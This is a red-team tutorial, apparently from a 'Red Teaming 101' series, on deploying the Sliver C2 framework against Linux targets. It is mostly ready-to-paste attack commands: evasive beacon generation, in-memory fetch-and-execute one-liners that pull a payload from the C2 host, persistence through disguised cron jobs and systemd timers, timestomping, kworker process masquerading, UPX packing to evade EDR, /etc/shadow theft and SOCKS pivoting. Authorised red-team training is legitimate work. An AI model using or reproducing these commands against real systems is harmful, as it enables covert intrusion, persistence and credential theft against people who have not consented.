11 — Sliver Linux

BLUF: Sliver is the go-to open-source C2 for Linux-focused red team ops. Go binary, single static ELF, mTLS/HTTPS/DNS transport, built-in sleep/jitter, and operator-grade kill dates. This guide covers installation, stealthy payload generation, business-hours scheduling, and fileless in-memory delivery.

🚀 Ready-to-Use Setup (Copy-Paste Deployment)

Replace these placeholders before running:

• C2_IP → your Sliver server's public IP or domain
• TARGET_IP → compromised host IP (for reference)
• KILL_DATE → engagement expiry in RFC3339 UTC, e.g. 2025-12-31T23:59:59Z

Run location: Sliver install, listener, generate, profiles, implants, and jobs commands in this guide run on the backend Sliver server / C2 server. They are not run on the jump server. If you are using redirector infrastructure, the jump server only handles traffic forwarding and TLS fronting.

Step 1 — Install Sliver on Your C2 Server (run once)

# Download latest release (run on YOUR attacker/C2 server as root)
LATEST=$(curl -s https://api.github.com/repos/BishopFox/sliver/releases/latest | grep tag_name | cut -d '"' -f 4)

wget -q "https://github.com/BishopFox/sliver/releases/download/${LATEST}/sliver-server_linux-amd64" -O /usr/local/bin/sliver-server
wget -q "https://github.com/BishopFox/sliver/releases/download/${LATEST}/sliver-client_linux-amd64" -O /usr/local/bin/sliver

chmod +x /usr/local/bin/sliver-server /usr/local/bin/sliver

# Verify
sliver-server version

Step 2 — Start Server & Listener (new tmux pane or screen session)

# Start Sliver server (keep this running)
sliver-server

# Inside the Sliver console — start an HTTPS listener on 443
# (use mTLS on 8888 if you prefer, but HTTPS blends better)
https --lhost C2_IP --lport 443

# Confirm listener is up
jobs
#  ID  Name   Protocol  Port
#   1  https  tcp       443

Step 3 — Generate Stealthy Linux Beacon (inside Sliver console)

# Run this inside the sliver> console
generate beacon \
  --http C2_IP:443 \
  --os linux \
  --arch amd64 \
  --format exe \
  --evasion \
  --skip-symbols \
  --seconds 3600 \
  --jitter 600 \
  --reconnect 60 \
  --limit-datetime "KILL_DATE" \
  --save /tmp/beacon.elf

# The file lands at /tmp/beacon.elf on your server
# Exit the console (Ctrl-D or 'exit') and return to shell to handle delivery

Step 4 — Deliver & Execute on Target (choose one method)

Option A — In-memory (no file on disk, preferred):

# On your C2 server: serve the beacon
python3 -m http.server 8080 --directory /tmp &

# On the TARGET (paste into your shell):
python3 -c "
import os, urllib.request
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
payload = urllib.request.urlopen('http://C2_IP:8080/beacon.elf').read()
os.write(fd, payload)
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"

Option B — File drop (simpler, leaves disk artifact):

# On target:
curl -s http://C2_IP:8080/beacon.elf -o /dev/shm/.update && chmod +x /dev/shm/.update && /dev/shm/.update &

Step 5 — Confirm Callback (back in Sliver console)

# Re-enter the console
sliver-server

# List incoming beacons — wait up to ~60s for first check-in
beacons
# [*] Beacon  abc123  kworker   ubuntu  192.168.1.50  linux/amd64  1h0m0s  <1m

# Interact with the beacon
use abc123

# Run a quick sanity check
execute -o id
execute -o hostname
execute -o uname -a

# Promote to interactive session only when you need real-time interaction
interactive
# (remember to background it when done — interactive sessions are noisy)

Step 6 — First Actions Post-Callback

# ── Inside beacon (commands are queued, run at next check-in) ──────────
execute -o id                          # confirm user context
execute -o cat /etc/passwd | tail -5   # spot-check for other users
execute -o cat /proc/version           # kernel version for priv-esc research
download /etc/shadow                   # grab shadow if root
socks5 start                           # pivot proxy if needed (port 1080)

# ── If root — set up persistence (cron launcher) ──────────────────────
# Copy beacon, schedule for 0800 EST (1300 UTC), kill at 1800 (2300 UTC)
upload /tmp/beacon.elf /usr/lib/systemd/.network-helper
execute -o chmod +x /usr/lib/systemd/.network-helper
execute -o bash -c "echo '0 13 * * 1-5 root pgrep -xf .network-helper>/dev/null||/usr/lib/systemd/.network-helper &' > /etc/cron.d/systemd-check"
execute -o bash -c "echo '0 23 * * 1-5 root pkill -xf .network-helper>/dev/null;true' >> /etc/cron.d/systemd-check"
execute -o touch -r /etc/cron.d/anacron /etc/cron.d/systemd-check   # timestomp

OPSEC: Kill the python HTTP server after delivery: kill %1 or pkill -f 'http.server 8080'. Don't leave staging servers running longer than needed.

MITRE ATT&CK Mapping

Section 1 — Installation (Attacker/C2 Server)

# Option 1: Pre-built binary (fastest)
curl -s https://api.github.com/repos/BishopFox/sliver/releases/latest \
  | grep "browser_download_url.*linux" \
  | grep -v arm \
  | cut -d '"' -f 4 \
  | wget -qi -
# Binaries are named with architecture suffix (e.g. sliver-server_linux-amd64)
# Rename and make executable
chmod +x sliver-server_linux-amd64 && mv sliver-server_linux-amd64 /usr/local/bin/sliver-server
chmod +x sliver-client_linux-amd64 && mv sliver-client_linux-amd64 /usr/local/bin/sliver

# Option 2: Build from source (adds garble support, latest features)
git clone https://github.com/BishopFox/sliver.git && cd sliver
make          # requires Go 1.21+ (check go.mod for exact version), gcc, mingw-w64
# Output: sliver-server, sliver-client in ./

# Start server (interactive console)
sliver-server
# Or as a daemon:
sliver-server daemon &
# Default ports: 31337 (multiplayer gRPC), plus any listeners you start

Section 2 — Beacon vs Session: Which to Use

Default to beacons. Promote to session only when you need interactive access, then drop back to beacon.

Section 3 — Stealthy Beacon Generation: All the Flags

# Full stealthy Linux beacon — run inside the Sliver console
generate beacon \
  --mtls YOUR_C2_IP:8888 \         # mTLS — encrypted, mutual auth, ~looks like HTTPS
  --os linux \                     # target OS
  --arch amd64 \                   # or arm64 for cloud/IoT/Raspberry Pi
  --format exe \                   # exe=Linux executable (ELF), shared=.so, shellcode=raw bytes
  --name "systemd-helper" \        # label in Sliver console (not process name on target)
  --evasion \                      # enable evasion: overwrites user-space hooks (unhooks EDR), indirect syscalls
  --skip-symbols \                 # skip symbol obfuscation step — useful for faster builds / lower builder overhead
  --seconds 3600 \                 # sleep 3600s (1hr) between check-ins
  --jitter 600 \                   # add random 0–600s on top of sleep (NOT a %)
  --reconnect 60 \                 # retry delay if C2 unreachable
  --limit-datetime "2025-12-31T23:59:59Z" \  # KILL DATE — RFC3339 UTC, implant exits after this
  --limit-hostname webserver01 \   # only run if hostname matches exactly
  --limit-username ubuntu \        # only run if username matches
  --limit-fileexists /etc/ssh/sshd_config \  # only run if this file exists (confirms target)
  --save /tmp/beacon.elf

# Verify the generated implant
implants          # list all generated implants with config summary

Flag breakdown:

Important: --limit-datetime is a kill date (expiry), not a schedule. Format: RFC3339 — "2025-12-31T23:59:59Z" (UTC) or "2025-12-31T18:59:59-05:00" (with EST offset). The implant exits cleanly after this time. For time-of-day scheduling (e.g. 0800–1800 M-F), use the cron/systemd wrapper in Section 5.

Section 4 — Kill Dates & Scheduling: What Actually Works

Key fact: --limit-datetime is an engagement expiry / kill date, not a daily schedule. It answers "when does the implant stop?", not "when does it check in?"

# Correct --limit-datetime syntax: RFC3339 format
# UTC:    YYYY-MM-DDTHH:MM:SSZ
# Offset: YYYY-MM-DDTHH:MM:SS-05:00  (EST = UTC-5)

# Example: beacon active until end of engagement
generate beacon \
  --http YOUR_C2_IP:443 \
  --os linux --arch amd64 --format exe \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 600 \
  --limit-datetime "2025-12-31T23:59:59Z" \
  --save /tmp/beacon_killdate.elf

# Example: short op — implant dies at 1800 EST Friday
# 1800 EST = 2300 UTC
generate beacon \
  --http YOUR_C2_IP:443 \
  --os linux --arch amd64 --format exe \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 300 \
  --limit-datetime "2025-12-05T23:00:00Z" \
  --save /tmp/beacon_shortop.elf

# Check target's timezone — critical for offset math
timedatectl 2>/dev/null | grep "Time zone"
date +%Z && date -u

Timezone offset math:

Time-of-day control options:

Bottom line: Use --limit-datetime for kill dates. Use OS cron/systemd to control when the process runs. Combine both: cron handles 0800 launch, --limit-datetime handles engagement expiry.

# Yes — you can change sleep from inside Sliver after the beacon is active:
use <BEACON_ID>
reconfig --beacon-interval 8h --beacon-jitter 1h

# Short flags:
reconfig -i 8h -j 1h

Important: reconfig changes the beacon's callback interval and jitter, but it still does not create a true "only awake in business hours" schedule. If you want the process to be silent at night, use cron/systemd to stop or not launch it outside your desired window.

Section 5 — Cron/systemd Wrapper: Launch at 0800 EST

This is the correct approach for time-of-day control. The beacon binary exists on disk but only runs during business hours — minimising its EDR exposure window.

How the wrapper actually works:

1. Morning launch — cron or systemd starts the beacon process at the allowed hour.
2. Daytime behavior — once running, the beacon uses its own Sliver sleep/jitter settings normally (--seconds, --jitter).
3. Night shutdown — a second scheduled action kills the process at the end of the window.
4. Overnight silence — because the process is gone, there are no callbacks at night regardless of the beacon interval.
5. Next-day restart — the scheduler launches a fresh process the next morning and the cycle repeats.

Important distinction: the wrapper controls process lifetime. Sliver controls check-in cadence while the process is alive. You usually want both: a daytime-only process window plus a sane callback interval inside that window.

# Step 1: Generate beacon with engagement kill date (no artificial delay)
generate beacon \
  --http YOUR_C2_IP:443 \
  --os linux --arch amd64 --format exe \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 300 \
  --limit-datetime "2025-12-31T23:59:59Z" \
  --save /tmp/beacon.elf

# Step 2: Transfer to target, rename innocuously
cp /tmp/beacon.elf /usr/lib/systemd/.network-helper
chmod +x /usr/lib/systemd/.network-helper

# Step 3: Create cron launcher (requires root)
# Convert 0800 EST → UTC first (see offset table above)
# EST = UTC-5 → 0800 EST = 1300 UTC → cron hour = 13
# EDT = UTC-4 → 0800 EDT = 1200 UTC → cron hour = 12 (adjust in summer)

cat > /etc/cron.d/systemd-check << 'EOF'
# System integrity monitor
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Launch at 0800 EST (1300 UTC) — only if not already running
0 13 * * 1-5 root pgrep -xf ".network-helper" > /dev/null 2>&1 || /usr/lib/systemd/.network-helper &

# Kill at 1800 EST (2300 UTC) — clean exit, nothing running overnight
0 23 * * 1-5 root pkill -xf ".network-helper" > /dev/null 2>&1; true
EOF

# Timestomp both files
touch -r /etc/cron.d/anacron /etc/cron.d/systemd-check
touch -r /etc/cron.d/anacron /usr/lib/systemd/.network-helper

systemd timer alternative (more legitimate-looking, supports native timezone):

This version uses two timers:

• a start timer at 0800 America/New_York
• a stop timer at 1800 America/New_York

That makes the behavior match the cron wrapper: process exists only during the allowed window.

cat > /etc/systemd/system/netcheck-start.timer << 'EOF'
[Unit]
Description=Network Integrity Check Start Timer

[Timer]
OnCalendar=Mon-Fri 08:00:00 America/New_York
Persistent=false

[Install]
WantedBy=timers.target
EOF

cat > /etc/systemd/system/netcheck-start.service << 'EOF'
[Unit]
Description=Network Integrity Check Start

[Service]
Type=oneshot
ExecStart=/usr/bin/bash -lc 'pgrep -xf ".network-helper" >/dev/null 2>&1 || /usr/lib/systemd/.network-helper &'
StandardOutput=null
StandardError=null
EOF

cat > /etc/systemd/system/netcheck-stop.timer << 'EOF'
[Unit]
Description=Network Integrity Check Stop Timer

[Timer]
OnCalendar=Mon-Fri 18:00:00 America/New_York
Persistent=false

[Install]
WantedBy=timers.target
EOF

cat > /etc/systemd/system/netcheck-stop.service << 'EOF'
[Unit]
Description=Network Integrity Check Stop

[Service]
Type=oneshot
ExecStart=/usr/bin/pkill -xf .network-helper
StandardOutput=null
StandardError=null
EOF

systemctl daemon-reload
systemctl enable --now netcheck-start.timer netcheck-stop.timer

# Timestomp
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck-start.timer
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck-start.service
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck-stop.timer
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck-stop.service

How the systemd version behaves: netcheck-start.timer fires at 0800 and launches the beacon if it is not already running. The beacon then sleeps and checks in according to its embedded Sliver interval/jitter. At 1800, netcheck-stop.timer fires and kills the process, so nothing survives into the night.

OPSEC: The beacon process doesn't exist overnight — no ELF in memory, no /proc entry, no network socket. An EDR scanning for suspicious processes at 0200 finds nothing. The binary file on disk is the only artifact, and it's timestomped to blend with system files. The systemd timer uses OnCalendar with a named timezone (America/New_York) — systemd automatically handles EST/EDT transitions, so no manual adjustment when clocks change.

Section 6 — In-Memory Delivery via memfd_create

Never write the beacon ELF to disk on the target. memfd_create executes it purely from memory — no file, no inode, nothing for forensics.

# Serve the payload from your C2 (or any HTTPS server you control)
python3 -m http.server 8080 --directory /tmp/payloads &

# On the TARGET — download and exec in-memory, no disk write
python3 -c "
import os, urllib.request
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
payload = urllib.request.urlopen('http://YOUR_C2_IP:8080/beacon.elf').read()
os.write(fd, payload)
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
# Process appears in 'ps' as 'kworker' — matches kernel thread naming
# No ELF on disk. /tmp, /dev/shm, and the filesystem are clean.

Base64 variant — no outbound HTTP from target:

# On attacker machine:
base64 -w0 beacon.elf > beacon.b64
cat beacon.b64   # copy the output

# On target — paste the base64 string, zero disk writes, zero fetches:
python3 -c "
import os, base64
b64 = 'AAAA...PASTE_BASE64_HERE...'
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
os.write(fd, base64.b64decode(b64))
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"

Pick a realistic process name:

# Check real kernel threads on the target — mimic naming exactly
ps aux | grep "\[kworker" | head -5
# Real examples: [kworker/0:1H], [kworker/u4:2]
# Use 'kworker' or 'kswapd0' or 'ksoftirqd/0' depending on what's running

OPSEC: The process appears in /proc/PID/exe as /memfd:kworker (deleted) — a known IOC that advanced EDRs flag (Falco rule: spawned_process_using_memfd). This is a stealth improvement over a file on disk, but not invisible. For maximum stealth, pre-stage the beacon in /dev/shm via a legitimate-looking process rather than fetching it at runtime. The MFD_CLOEXEC flag ensures the fd is closed on any exec() calls made by the beacon itself.

Section 7 — Binary Hardening: Strip + UPX

After generating the ELF, optionally harden it on your attacker machine before delivery:

# Step 1: Strip remaining symbols (belt-and-suspenders with --skip-symbols)
strip --strip-all beacon.elf
ls -lh beacon.elf   # confirm size reduction

# Step 2: Check for Sliver-identifiable strings
strings beacon.elf | grep -iE "sliver|bishopfox|beacon|c2|mtls" | head
# Any hits → rebuild from source with garble:
# go install mvdan.cc/garble@latest
# then add --garble flag to generate command

# Step 3: UPX compression (optional — test in lab first)
# Reduces file size, breaks naive static signatures
# WARNING: UPX-packed binaries are flagged by some EDRs — test before use
upx --best --lzma beacon.elf           # max compression
upx -d beacon.elf                      # decompress if needed
file beacon.elf                        # verify still valid ELF

# Step 4: Final verification — run in lab VM, confirm C2 callback
./beacon.elf   # test in isolated lab matching target OS/arch

Section 8 — Listeners: HTTPS & DNS

# ── HTTPS listener (port 443 — blends with web traffic) ────────────────
https --lhost YOUR_C2_IP --lport 443
jobs   # confirm listener is running

# Generate HTTPS beacon
generate beacon \
  --http YOUR_C2_IP:443 \
  --os linux --arch amd64 --format exe \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 600 \
  --limit-datetime "2025-12-31T23:59:59Z" \
  --save /tmp/beacon_https.elf

# ── DNS listener (traverses most firewalls, very stealthy) ─────────────
# Prerequisites (DNS delegation setup):
#   1. Own a domain (e.g., yourc2domain.com)
#   2. Create an A record: ns1.yourc2domain.com → YOUR_C2_IP
#   3. Create an NS record: c2.yourc2domain.com → ns1.yourc2domain.com
#      (delegates the c2 subdomain to your server as the authoritative NS)
#   Then use c2.yourc2domain.com (NOT the root domain) as the --dns target
dns --domains c2.yourc2domain.com
jobs   # confirm DNS listener

generate beacon \
  --dns c2.yourc2domain.com \
  --os linux --arch amd64 --format exe \
  --seconds 7200 --jitter 1800 \          # slow — DNS is throttled by design
  --limit-datetime "2025-12-31T23:59:59Z" \
  --save /tmp/beacon_dns.elf
# DNS is very slow (exfil via DNS TXT/A records) but traverses port-blocking firewalls
# and outbound proxies. Use for environments with strict egress control.

# ── mTLS listener (most secure, port 8888 by default) ─────────────────
mtls --lport 8888
# mTLS: mutual certificate authentication — both sides verify each other
# Each generated implant gets a unique certificate baked in at compile time
# Best for internal networks or when you control the network path

Section 9 — Quick-Reference Cheat Sheet

# ── Server management ──────────────────────────────────────────────────
sliver-server              # start interactive console
sliver-server daemon &     # start as background daemon
jobs                       # list active listeners
mtls --lport 8888          # start mTLS listener
https --lport 443          # start HTTPS listener
dns --domains c2.domain.com  # start DNS listener (subdomain delegated via NS record)

# ── Implant generation ─────────────────────────────────────────────────
generate beacon --os linux --arch amd64 --format exe --http IP:443 \
  --evasion --skip-symbols --seconds 3600 --jitter 600 \
  --limit-datetime "2025-12-31T23:59:59Z" --save /tmp/beacon.elf

implants                   # list all generated implants + config
profiles                   # list saved profiles

# Save a reusable profile
# Note: on Linux, `--format exe` is the correct flag for a normal executable.
# Sliver still produces an ELF binary — the flag name is just `exe`.
profiles new beacon \
  --http C2_IP:443 --os linux --arch amd64 --format exe \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 600 \
  --limit-datetime "2025-12-31T23:59:59Z" \
  linux-stealth

profiles generate --save /tmp/ linux-stealth   # generate from profile

# Want it to "sleep at night"?
# You cannot give Sliver a true business-hours schedule with `--seconds` / `--jitter`.
# Those only control check-in spacing. For night-time silence, use the cron/systemd
# wrapper in Section 5 so the process is launched in the morning and killed at night.

# ── Beacon & session management ────────────────────────────────────────
beacons                    # list active beacons + last/next check-in
sessions                   # list active sessions
use <ID>                   # select beacon or session to interact with
background                 # return to main console

# ── Beacon interaction ─────────────────────────────────────────────────
info                       # beacon config: interval, jitter, OS, PID, C2
tasks                      # list queued/completed tasks
interactive                # promote beacon → live interactive session

# ── In-session commands (Linux) ────────────────────────────────────────
ls / pwd / cd <path>       # filesystem navigation
download /etc/shadow       # exfil file → saved locally on C2 server
upload /tmp/tool /tmp/     # push file to target
execute -o id              # run command, capture stdout
shell                      # drop to interactive shell (NOISY — use sparingly)
socks5 start               # SOCKS5 proxy through this implant
portfwd add -r TARGET:22 -b 127.0.0.1:2222  # local port forward to target
getenv / setenv KEY=VAL    # read/write environment variables
screenshot                 # desktop screenshot (GUI targets)
procdump --pid <PID>       # memory dump a process

Resources

Part of the Red Teaming 101 series. Companion to 1.1a Linux Deep Dive P1 · Deep dives: 7.8 Sliver Profile Creation OPSEC · 7.9 Sliver Beacon Creation OPSEC · Next: 7.10 Sliver C2 Windows